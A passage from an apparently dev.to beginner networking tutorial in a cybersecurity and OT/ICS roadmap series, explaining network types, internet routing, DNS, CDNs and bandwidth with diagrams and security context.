&lt;p&gt;&lt;em&gt;This document is part of the Cybersecurity × OT/ICS Security Full Roadmap series. All techniques are presented for educational purposes, authorised security research, and defensive security practice. Always obtain proper authorisation before testing any system.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>software</category>
      <category>learning</category>
    </item>
    <item>
      <title>Stage 1.1 — Network Concepts</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Sun, 31 May 2026 16:08:54 +0000</pubDate>
      <link>https://dev.to/rencberakman/stage-11-network-concepts-3j5g</link>
      <guid>https://dev.to/rencberakman/stage-11-network-concepts-3j5g</guid>
      <description>&lt;h3&gt;
  
  
  From Zero to Cybersecurity Professional | Complete Roadmap Series
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Series:&lt;/strong&gt; Cybersecurity × OT/ICS Security — Full Roadmap&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Stage:&lt;/strong&gt; 1 — Network Fundamentals&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Module:&lt;/strong&gt; 1.1 — Network Concepts&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Level:&lt;/strong&gt; Beginner → Advanced&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Prerequisites:&lt;/strong&gt; Stage 0 — Foundations (Complete)&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Next Module:&lt;/strong&gt; 1.2 — OSI Model&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Why Networks Are the Battlefield&lt;/li&gt;
&lt;li&gt;What Is a Network — First Principles&lt;/li&gt;
&lt;li&gt;Network Types — LAN, WAN, MAN, PAN&lt;/li&gt;
&lt;li&gt;How the Internet Actually Works&lt;/li&gt;
&lt;li&gt;Bandwidth, Latency, Jitter — The Performance Trinity&lt;/li&gt;
&lt;li&gt;Packets and Frames — How Data Travels&lt;/li&gt;
&lt;li&gt;Unicast, Multicast, Broadcast — Addressing Modes&lt;/li&gt;
&lt;li&gt;Network Topologies and Their Security Implications&lt;/li&gt;
&lt;li&gt;The Security Mindset on Networks&lt;/li&gt;
&lt;li&gt;Hands-On Exercises&lt;/li&gt;
&lt;li&gt;Further Reading and Resources&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Why Networks Are the Battlefield
&lt;/h2&gt;

&lt;p&gt;Every single cyberattack — without exception — involves a network at some point. An attacker scanning for open ports, a piece of ransomware calling home to its command-and-control server, credentials being exfiltrated, a phishing link being clicked, lateral movement from one compromised machine to another — all of it flows through network infrastructure.&lt;/p&gt;

&lt;p&gt;When security professionals talk about "the attack surface," networks represent the largest and most exposed portion of it. An organisation might lock down every workstation perfectly, deploy every patch on time, and train every employee — and still be compromised because a misconfigured network segment allowed an attacker to reach a system they should never have been able to touch.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For you specifically:&lt;/strong&gt; Understanding networks is not a prerequisite you get through to reach the "interesting" material. It IS the interesting material. The difference between a junior analyst who struggles and a senior professional who consistently finds things others miss comes down, very often, to how deeply they understand what is happening at the network level.&lt;/p&gt;

&lt;p&gt;A packet captured in Wireshark is meaningless noise to someone who does not understand networks. To someone who does, it tells a complete story — where the connection came from, where it was going, what protocol was used, whether the traffic is normal or anomalous, whether an attack is in progress, and what the attacker was trying to do.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For OT/ICS specifically:&lt;/strong&gt; Industrial networks are fundamentally different from enterprise IT networks in their topology, their protocols, and their failure modes. Power substations, manufacturing floors, and water treatment facilities run communication networks that were designed for reliability and real-time control — not security. Understanding networking from first principles is what allows you to reason about these environments clearly when you encounter them.&lt;/p&gt;

&lt;p&gt;The security mindset for this stage: &lt;strong&gt;The network is not a dumb pipe that moves bytes from A to B. It is a complex, stateful, layered system with its own logic, its own vulnerabilities, and its own forensic trail. Every byte that crosses a network leaves a story. Your job is to read it.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  2. What Is a Network — First Principles
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2.1 The Core Definition
&lt;/h3&gt;

&lt;p&gt;A network is any system that allows two or more devices to exchange information. That definition is deceptively simple. The complexity — and the security implications — emerge from how that exchange is implemented.&lt;/p&gt;

&lt;p&gt;At the most fundamental level, a network requires three things:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. A medium&lt;/strong&gt; — something through which the signal travels. This can be:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Copper wire (Ethernet, telephone lines)&lt;/li&gt;
&lt;li&gt;Optical fibre (glass or plastic that carries light signals)&lt;/li&gt;
&lt;li&gt;Radio waves (Wi-Fi, cellular, Bluetooth, Zigbee)&lt;/li&gt;
&lt;li&gt;Even lasers through air (free-space optical communication, used in some industrial settings)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;2. A protocol&lt;/strong&gt; — an agreed-upon language for communication. Without protocols, a device sending data and a device receiving data would have no way to understand each other. Protocols define everything: how to start a conversation, how to end it, how to handle errors, how to ensure data arrives in order, how to authenticate, how to encrypt.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Addressing&lt;/strong&gt; — a way to identify who is talking and who should receive the data. Without addressing, data broadcast by one device would reach all devices but none would know if it was meant for them.&lt;/p&gt;

&lt;p&gt;These three requirements — medium, protocol, addressing — map directly onto the OSI model you will study in Module 1.2. Understanding this mapping now will make OSI click immediately when you reach it.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.2 Why Networks Exist — The Business and Operational Driver
&lt;/h3&gt;

&lt;p&gt;This matters for security because understanding &lt;em&gt;why&lt;/em&gt; a network exists tells you what it is supposed to protect and what its failure modes mean.&lt;/p&gt;

&lt;p&gt;Networks exist to enable:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Resource sharing&lt;/strong&gt; — printers, storage, software licenses. Before networks, every computer needed its own copy of everything.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Communication&lt;/strong&gt; — email, messaging, video calls. The entire modern communication infrastructure is a network.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Centralised management&lt;/strong&gt; — instead of configuring every machine individually, network-connected devices can be managed from a central point. Active Directory is the enterprise manifestation of this.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Distributed computing&lt;/strong&gt; — breaking large problems across many machines. Cloud computing is this at massive scale.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Real-time control&lt;/strong&gt; — in OT/ICS environments, networks carry control signals between sensors, controllers, and actuators. A factory's production line communicates over a network. A power substation's protection relays communicate over a network. Here, the network is not a convenience — it is the operational backbone. Disrupting it does not cause inconvenience; it causes physical consequences.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.3 The Fundamental Problem Networks Solve — and Create
&lt;/h3&gt;

&lt;p&gt;Networks solve the problem of physical distance. Information that would take hours to transport physically can be transmitted in milliseconds.&lt;/p&gt;

&lt;p&gt;But networks also create new problems:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Confidentiality:&lt;/strong&gt; Data crossing a network can be intercepted. Every packet that travels through shared infrastructure — routers, switches, ISPs — passes through hardware you do not control. Anyone with access to that hardware can potentially read your data. This is why encryption exists.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Integrity:&lt;/strong&gt; Data can be modified in transit. An attacker positioned between sender and receiver (Man-in-the-Middle) can alter packets. This is why cryptographic authentication exists.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Availability:&lt;/strong&gt; Networks can be overwhelmed, disrupted, or severed. A DDoS attack exploits this. A cut cable exploits this. For OT networks where availability means operational continuity, this is the most critical concern.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Authentication:&lt;/strong&gt; How does a receiving device know that data is actually from who it claims to be from? IP addresses can be spoofed. MAC addresses can be faked. This is why authentication protocols exist — and why their weaknesses are so heavily exploited.&lt;/p&gt;

&lt;p&gt;These four properties — confidentiality, integrity, availability, authentication — map directly onto the CIA triad and its extensions that you studied in Stage 0. Everything you learn about networks connects back to these fundamentals.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Network Types — LAN, WAN, MAN, PAN
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 Why Classification Matters for Security
&lt;/h3&gt;

&lt;p&gt;Network type classification is not academic taxonomy. It tells you:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What protocols are likely in use&lt;/li&gt;
&lt;li&gt;What the physical attack surface looks like&lt;/li&gt;
&lt;li&gt;What the regulatory environment is (some network types are regulated)&lt;/li&gt;
&lt;li&gt;What assumptions about trust are built into the design&lt;/li&gt;
&lt;li&gt;How an attacker would approach targeting it&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3.2 PAN — Personal Area Network
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Scale:&lt;/strong&gt; Centimetres to ~10 metres&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; Connect personal devices in immediate proximity&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Technologies:&lt;/strong&gt; Bluetooth (IEEE 802.15.1), Zigbee (IEEE 802.15.4), NFC, USB, IrDA&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Your body area:
Smartphone ←→ Smartwatch (Bluetooth)
Laptop ←→ Wireless mouse/keyboard (Bluetooth)
Phone ←→ Payment terminal (NFC, &amp;lt;10cm)
Medical device ←→ Monitoring station (Zigbee)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Security Characteristics:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Short range limits the attack surface physically — attacker must be nearby&lt;/li&gt;
&lt;li&gt;But "nearby" in a crowded office, airport, or conference is not much of a limitation&lt;/li&gt;
&lt;li&gt;Bluetooth has had catastrophic vulnerabilities: BlueBorne (2017) allowed unauthenticated RCE on any Bluetooth device without pairing — just being in range was enough&lt;/li&gt;
&lt;li&gt;NFC proximity requirement (≤4cm) is often cited as a security feature, but relay attacks can extend this range significantly&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OT/ICS relevance:&lt;/strong&gt; Zigbee is extensively used in smart meters, building automation, and some industrial sensor networks. Zigbee security depends heavily on proper key management, which is frequently misconfigured in deployments&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Real Attack Scenarios:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Bluetooth keyboard injection: send keystrokes to a paired device to execute commands&lt;/li&gt;
&lt;li&gt;NFC relay attack: intercept and relay contactless payment at a distance using two devices&lt;/li&gt;
&lt;li&gt;Zigbee network compromise: capture the network key from a commissioning device, decrypt all traffic&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3.3 LAN — Local Area Network
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Scale:&lt;/strong&gt; Single building or campus, typically up to ~1km&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; Connect devices within an organisation or home&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Technologies:&lt;/strong&gt; Ethernet (IEEE 802.3), Wi-Fi (IEEE 802.11), Token Ring (legacy)&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Speed:&lt;/strong&gt; 100 Mbps to 400 Gbps (modern enterprise)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Typical Corporate LAN:
[Workstations] ←→ [Access Switch] ←→ [Distribution Switch] ←→ [Core Switch]
[Servers]      ←→ [Access Switch] ←→ [Distribution Switch] ←→ [Core Switch]
[IP Phones]    ←→ [Access Switch] ←→ (VLAN separation)
[IoT Devices]  ←→ [Access Switch] ←→ (Isolated VLAN)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Security Characteristics:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The LAN is where most enterprise security incidents happen. Because LAN traffic stays within the organisation's infrastructure, there is a common (and dangerous) assumption that LAN traffic is trustworthy. The Zero Trust model exists specifically to challenge this assumption.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why LAN is the primary attack surface:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Once an attacker gains initial access (phishing, exploitation), they are inside the LAN&lt;/li&gt;
&lt;li&gt;Traditional security models focused defences at the perimeter (where LAN meets WAN)&lt;/li&gt;
&lt;li&gt;Inside the LAN, lateral movement was often unimpeded — flat networks where every device could reach every other device&lt;/li&gt;
&lt;li&gt;ARP poisoning, VLAN hopping, SMB relay attacks, LLMNR/NBT-NS poisoning — all LAN-specific attacks&lt;/li&gt;
&lt;li&gt;Active Directory, which dominates enterprise identity, is a LAN technology&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Network Segmentation — The Most Important LAN Security Concept:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A flat LAN is a security disaster. Proper segmentation divides the LAN into zones where communication between zones is explicitly controlled:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Segmented Corporate LAN:
[Internet] → [Firewall] → [DMZ: Web servers, Mail relays]
                       → [Corporate LAN]
                            ├── [User VLAN: Workstations]
                            ├── [Server VLAN: Internal servers]
                            ├── [Management VLAN: Network devices, IPMI]
                            ├── [VoIP VLAN: IP phones]
                            ├── [Guest VLAN: Visitors — no LAN access]
                            └── [OT VLAN: Industrial devices — strictly isolated]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each zone communicates with others only through explicitly allowed firewall rules. A compromised workstation in the User VLAN cannot directly reach the Server VLAN without going through inspection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OT/ICS LAN specifics:&lt;/strong&gt; Industrial LANs are supposed to be isolated from corporate IT LANs. In practice, the IT/OT boundary is one of the most frequently misconfigured security controls in the industry. The Ukraine 2015 power grid attack used IT network access to reach OT networks that were inadequately segregated.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.4 MAN — Metropolitan Area Network
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Scale:&lt;/strong&gt; City or metropolitan area, typically 5-50km&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; Connect multiple buildings or LANs within a geographic region&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Technologies:&lt;/strong&gt; Fibre optic rings (SONET/SDH), Carrier Ethernet, MPLS&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Who uses it:&lt;/strong&gt; Telecommunications providers, city governments, large universities, utility companies&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;City Infrastructure MAN:
[Hospital Campus] ←→ [City Fibre Ring] ←→ [City Hall]
[University]      ←→ [City Fibre Ring] ←→ [Library Network]
[Power Utility]   ←→ [City Fibre Ring] ←→ [Water Authority]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Security Characteristics:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The physical medium crosses public spaces — fibre cables can be cut, tapped, or accessed at junction points&lt;/li&gt;
&lt;li&gt;Traffic often passes through multiple intermediate carriers where you have no visibility&lt;/li&gt;
&lt;li&gt;City-scale infrastructure MANs are critical infrastructure targets — disrupting a MAN can affect hospitals, utilities, and government services simultaneously&lt;/li&gt;
&lt;li&gt;BGP (Border Gateway Protocol) route hijacking can redirect MAN traffic through attacker-controlled infrastructure&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Utility company MANs&lt;/strong&gt; connect substations, control centres, and distribution equipment — these are high-value OT targets precisely because they are networked&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3.5 WAN — Wide Area Network
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Scale:&lt;/strong&gt; Across cities, countries, or globally&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; Connect geographically distributed networks&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Technologies:&lt;/strong&gt; MPLS, SD-WAN, leased lines, satellite, undersea cables&lt;br&gt;&lt;br&gt;
&lt;strong&gt;The internet itself is the world's largest WAN&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Corporate WAN Example:
[HQ — Istanbul] ←→ [MPLS Provider] ←→ [Branch — Ankara]
[HQ — Istanbul] ←→ [MPLS Provider] ←→ [Branch — Izmir]
[HQ — Istanbul] ←→ [Internet VPN]  ←→ [Remote Workers]
[HQ — Istanbul] ←→ [Internet]      ←→ [Cloud Services]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Security Characteristics:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The WAN is fundamentally hostile territory. Traffic crosses infrastructure owned by third parties — ISPs, backbone providers, content delivery networks. This is the environment for which TLS/SSL was invented.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;BGP — The Internet's Routing Protocol and Its Security Problem:&lt;/strong&gt;&lt;br&gt;
BGP (Border Gateway Protocol) is how routers on the internet decide where to send traffic. It is based on trust — networks announce which IP ranges they own, and other networks believe them. This design worked when the internet was small and all participants were known entities.&lt;/p&gt;

&lt;p&gt;Today, BGP hijacking is a real and recurring threat:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;In 2018, a Pakistani ISP accidentally announced that it owned YouTube's IP ranges. YouTube was unreachable globally for ~2 hours.&lt;/li&gt;
&lt;li&gt;In 2010, China Telecom advertised routes for ~15% of internet traffic, routing it through China for ~18 minutes.&lt;/li&gt;
&lt;li&gt;In 2022, researchers documented dozens of suspicious BGP events suggesting intentional route manipulation.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;BGP hijacking can be used to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Intercept traffic before it reaches its destination&lt;/li&gt;
&lt;li&gt;Perform SSL stripping attacks at scale&lt;/li&gt;
&lt;li&gt;Take over domains by intercepting DNS traffic&lt;/li&gt;
&lt;li&gt;Disrupt specific organisations' connectivity&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;RPKI (Resource Public Key Infrastructure) is the cryptographic solution — it allows networks to cryptographically sign their BGP route announcements. Adoption is growing but not universal.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SD-WAN — The Modern Enterprise WAN:&lt;/strong&gt;&lt;br&gt;
SD-WAN (Software-Defined WAN) overlays software-defined networking principles onto WAN infrastructure. It dynamically routes traffic across multiple links (MPLS + broadband internet + 4G) based on policy. SD-WAN has its own attack surface — the centralised controller is a high-value target, and misconfigured SD-WAN deployments have exposed management interfaces to the internet.&lt;/p&gt;


&lt;h2&gt;
  
  
  4. How the Internet Actually Works
&lt;/h2&gt;
&lt;h3&gt;
  
  
  4.1 The Physical Foundation
&lt;/h3&gt;

&lt;p&gt;The internet is not a cloud. It is a very concrete physical infrastructure. Understanding its physical reality changes how you think about attacks, censorship, intelligence collection, and reliability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Undersea Cables:&lt;/strong&gt;&lt;br&gt;
Approximately 95% of international internet traffic travels through undersea fibre optic cables. There are roughly 400 active submarine cable systems connecting every continent except Antarctica. Each cable is roughly the diameter of a garden hose and carries petabits of traffic per second.&lt;/p&gt;

&lt;p&gt;These cables are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Vulnerable to physical damage (anchors, earthquakes, fishing trawlers)&lt;/li&gt;
&lt;li&gt;Landing stations where cables come ashore are intelligence collection points — the Snowden documents revealed that GCHQ and NSA tapped undersea cables at landing stations&lt;/li&gt;
&lt;li&gt;When a major cable is cut, traffic reroutes through other cables, but capacity constraints cause slowdowns affecting entire regions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Internet Exchange Points (IXPs):&lt;/strong&gt;&lt;br&gt;
IXPs are physical locations where different networks (ISPs, content providers, CDNs) connect and exchange traffic directly — "peering." Major IXPs include DE-CIX (Frankfurt), AMS-IX (Amsterdam), Equinix (multiple cities).&lt;/p&gt;

&lt;p&gt;IXPs handle enormous traffic volumes and are significant surveillance and intelligence collection points. They are also single points of failure for regional connectivity.&lt;/p&gt;
&lt;h3&gt;
  
  
  4.2 IP Routing — The Logic Layer
&lt;/h3&gt;

&lt;p&gt;When you send data across the internet, it does not travel a fixed, pre-determined path. It is routed dynamically, hop by hop, from router to router.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Your packet's journey from Istanbul to New York:
Your PC (192.168.1.5)
    ↓
Home Router (ISP gateway)
    ↓
ISP Router — Istanbul
    ↓
ISP Core Router — Istanbul
    ↓
Undersea Cable Landing Station — Portugal
    [Undersea fibre cable — Atlantic Ocean]
    ↓
Landing Station — New York
    ↓
Tier-1 ISP — New York
    ↓
Destination ISP — New York
    ↓
Target Server (203.0.113.1)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each "hop" is a router that examines the destination IP address, looks up its routing table, and forwards the packet to the next hop. The routing table says: "For packets destined to 203.0.113.0/24, forward to next-hop 198.51.100.1."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Traceroute reveals this path:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;traceroute google.com
&lt;span class="c"&gt;# Each line is one hop&lt;/span&gt;
&lt;span class="c"&gt;# 1  192.168.1.1      1ms    ← Your router&lt;/span&gt;
&lt;span class="c"&gt;# 2  10.0.0.1         5ms    ← ISP router&lt;/span&gt;
&lt;span class="c"&gt;# 3  195.175.39.1    12ms    ← ISP core&lt;/span&gt;
&lt;span class="c"&gt;# 4  195.175.39.254  15ms    ← ISP backbone&lt;/span&gt;
&lt;span class="c"&gt;# ...&lt;/span&gt;
&lt;span class="c"&gt;# 18 142.250.185.78   98ms   ← Google's network&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Security Implication of Routing:&lt;/strong&gt;&lt;br&gt;
You have no control over which routers handle your packets. Traffic between two Turkish endpoints might transit through routers in other countries depending on peering agreements. Each router along the path is a potential point of interception, modification, or blocking.&lt;/p&gt;

&lt;p&gt;This is why end-to-end encryption (TLS) is designed to protect data even when the network infrastructure is untrusted. The encryption happens between your browser and the server — all the intermediate routers see is encrypted ciphertext.&lt;/p&gt;
&lt;h3&gt;
  
  
  4.3 DNS — The Internet's Phone Book
&lt;/h3&gt;

&lt;p&gt;DNS (Domain Name System) translates human-readable names (google.com) into IP addresses (142.250.185.78) that routers use to route packets.&lt;/p&gt;

&lt;p&gt;Understanding DNS is critical because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;DNS is involved in almost every internet communication&lt;/li&gt;
&lt;li&gt;DNS attacks (poisoning, hijacking, tunnelling) are common and powerful&lt;/li&gt;
&lt;li&gt;DNS queries are often unencrypted — they reveal every site you visit&lt;/li&gt;
&lt;li&gt;C2 (Command and Control) communication for malware frequently uses DNS&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;The DNS Resolution Process:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;You type: www.example.com

1. Check local DNS cache → not found
2. Query local resolver (your ISP or 8.8.8.8)
3. Resolver checks its cache → not found
4. Resolver queries root nameserver (.)
   "I need to find .com"
   Root server: "Ask the .com nameserver at 192.5.6.30"
5. Resolver queries .com nameserver
   "I need example.com"
   .com nameserver: "Ask example.com's nameserver at 205.251.196.1"
6. Resolver queries example.com's nameserver
   "I need www.example.com"
   Returns: "www.example.com → 93.184.216.34"
7. Resolver caches this result (TTL: 3600 seconds)
8. Returns 93.184.216.34 to your computer
9. Your computer connects to 93.184.216.34

Total time: typically 50-300ms (first query, uncached)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;DNS Security Issues:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;DNS cache poisoning: inject false DNS records into a resolver's cache, causing victims to connect to attacker-controlled IP&lt;/li&gt;
&lt;li&gt;DNS hijacking: modify DNS settings on a device or router to redirect all queries to a malicious server&lt;/li&gt;
&lt;li&gt;DNS tunnelling: encode data in DNS queries to exfiltrate data or maintain C2 communication through firewalls that allow DNS traffic&lt;/li&gt;
&lt;li&gt;DNS over HTTP (DoH) and DNS over TLS (DoT) encrypt DNS queries, but also bypass traditional DNS monitoring — both a security improvement (privacy) and a detection challenge (visibility)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  4.4 CDN — How Content Actually Reaches You
&lt;/h3&gt;

&lt;p&gt;When you visit a major website, you are rarely connecting to the company's own server. You are connecting to a Content Delivery Network (CDN) — a globally distributed network of servers that cache and serve content from the closest location.&lt;/p&gt;

&lt;p&gt;Major CDNs: Cloudflare, Akamai, Fastly, Amazon CloudFront, Google Cloud CDN.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Without CDN:
Turkish user → Request → Server in California → Response (200ms round trip)

With CDN:
Turkish user → Request → CDN node in Frankfurt → Response (20ms round trip)
                         (cached content served locally)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;CDN Security Relevance:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CDNs absorb DDoS attacks — they have enough bandwidth and distributed infrastructure to absorb volumetric attacks that would overwhelm a single server&lt;/li&gt;
&lt;li&gt;Cloudflare's "magic transit" and similar services can protect infrastructure from DDoS even at the network layer&lt;/li&gt;
&lt;li&gt;CDN misconfigurations can expose origin server IPs (bypassing DDoS protection) or leak internal content&lt;/li&gt;
&lt;li&gt;WAF (Web Application Firewall) functionality is commonly embedded in CDN services&lt;/li&gt;
&lt;li&gt;CDNs see plaintext traffic even for HTTPS sites (TLS terminates at the CDN edge) — this is both a capability and a trust consideration&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  5. Bandwidth, Latency, Jitter — The Performance Trinity
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 Why These Matter for Security Professionals
&lt;/h3&gt;

&lt;p&gt;Network performance metrics are not just for network engineers. They directly affect:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Whether attacks are detectable (anomalous bandwidth usage is an IOC)&lt;/li&gt;
&lt;li&gt;How C2 channels are designed (attackers must stay within normal baseline traffic patterns to avoid detection)&lt;/li&gt;
&lt;li&gt;DDoS attack characterisation (bandwidth exhaustion vs latency degradation vs jitter-based attacks)&lt;/li&gt;
&lt;li&gt;OT network viability (real-time control requires strict latency and jitter bounds — exceeding them causes physical consequences)&lt;/li&gt;
&lt;li&gt;Forensic timeline reconstruction (network timing data helps reconstruct attack sequences)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  5.2 Bandwidth — The Pipe Size
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Definition:&lt;/strong&gt; The maximum rate at which data can be transferred across a network link. Measured in bits per second (bps) and its multiples: Kbps, Mbps, Gbps, Tbps.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Common bandwidth references:
Home broadband (Turkey, 2026): 100 Mbps - 1 Gbps download
Enterprise WAN link:           1 Mbps - 10 Gbps
Undersea cable (single):       ~160 Tbps
Ethernet LAN:                  1 Gbps - 400 Gbps
Wi-Fi 6 (802.11ax):           up to ~9.6 Gbps theoretical
5G cellular:                   up to ~20 Gbps theoretical, typically 100-900 Mbps real

Bits vs Bytes — confusion source:
Network speeds: bits/second (lowercase b) → 100 Mbps
File sizes: bytes (uppercase B) → 10 MB/s
100 Mbps ÷ 8 = 12.5 MB/s actual file transfer speed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Bandwidth vs Throughput vs Goodput:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Bandwidth&lt;/strong&gt; — theoretical maximum capacity of the link&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Throughput&lt;/strong&gt; — actual data transfer rate achieved (always ≤ bandwidth)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Goodput&lt;/strong&gt; — useful data transferred, excluding protocol overhead, retransmissions, headers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Real-world throughput is always less than bandwidth due to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Protocol overhead (headers in every packet)&lt;/li&gt;
&lt;li&gt;Network congestion&lt;/li&gt;
&lt;li&gt;Half-duplex limitations&lt;/li&gt;
&lt;li&gt;TCP flow control and congestion control&lt;/li&gt;
